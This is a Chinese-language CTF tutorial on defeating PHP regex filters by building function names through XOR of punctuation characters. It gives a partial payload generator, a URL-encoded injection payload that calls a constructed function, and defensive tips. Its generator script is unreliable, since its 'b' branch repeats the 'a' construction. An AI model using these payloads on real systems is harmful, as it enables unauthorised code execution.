PHP正则表达式绕过姿势之异或绕过
字数 888 2025-08-07 08:22:00
PHP正则表达式绕过姿势之异或绕过技术详解
一、技术背景
在PHP安全挑战和CTF比赛中,经常会遇到需要绕过正则表达式过滤的情况。当字母、数字以及特定符号(如+/等)被过滤时,异或绕过(XOR Bypass)成为一种有效的解决方案。
二、技术原理
1. 异或运算基础
- PHP中的
^是异或运算符,对二进制值进行操作 - 字符异或实际上是使用其ASCII值进行运算
- 异或运算规则:
0^0=0,0^1=1,1^0=1,1^1=0
2. 字符构造原理
通过两个特殊字符的异或运算可以生成所需的字母或数字字符。例如:
("!"^"@")生成字母 'a'("%"^"@")生成字母 'e'
三、实现步骤
1. 构造异或payload
编写脚本将目标字符串转换为异或构造形式:
word = input("Input word:")
payload = """"""
for i in word:
if i == "a":
payload += '("!"^"@").'
elif i == "b":
payload += '("!"^"@").'
# 其他字符的异或构造...
else:
payload += i
print("payload:\n"+payload)
2. 示例构造
构造字符串"getflag"的payload:
("'"^"@").("%"^"@").("/"^"[").("&"^"@").(","^"@").("!"^"@").("'"^"@")
3. URL编码处理
对生成的payload进行URL编码,确保特殊字符能正确传输:
%22%27%22%5E%22%40%22%29.%28%22%25%22%5E%22%40%22%29.%28%22%2F%22%5E%22%5B%22%29.%28%22%26%22%5E%22%40%22%29.%28%22%2C%22%5E%22%40%22%29.%28%22%21%22%5E%22%40%22%29.%28%22%27%22%5E%22%40%22
4. PHP变量赋值与执行
由于正则表达式通常过滤字母和数字,但允许下划线:
$_=(异或payload); $_();
完整示例:
?code=$_=(%22'%22%5E%22%40%22).(%22%25%22%5E%22%40%22).(%22%2F%22%5E%22%5B%22).(%22%26%22%5E%22%40%22).(%22%2C%22%5E%22%40%22).(%22!%22%5E%22%40%22).(%22'%22%5E%22%40%22);$_();
四、关键注意事项
-
变量命名限制:
- 必须至少有一个可用字符(如下划线
_)作为变量名 - 如果下划线也被过滤,此方法将失效
- 必须至少有一个可用字符(如下划线
-
PHP语法要求:
- 每个字符异或操作用
()包含 - 异或操作之间用
.连接
- 每个字符异或操作用
-
字符编码:
- 特殊字符需要进行URL编码
- 确保浏览器能正确解析传输的payload
五、适用场景
- 当正则表达式过滤了大多数字母和数字时
- 需要动态构造函数名或字符串时
- 其他绕过方法(如十六进制、八进制表示)也被过滤时
六、局限性
- 当下划线
_被过滤时无法使用 - 构造复杂字符串时payload会变得冗长
- 对特殊字符的过滤可能影响异或构造
七、防御措施
为防止此类绕过,开发者应:
- 同时过滤下划线字符
- 限制输入长度
- 使用白名单而非黑名单过滤
- 结合多种过滤机制
八、扩展应用
此技术不仅可用于函数名构造,还可用于:
- 动态创建变量名
- 绕过关键字过滤
- 构造特定字符串参数
通过掌握异或绕过技术,可以在CTF比赛和渗透测试中有效应对严格的字符过滤限制。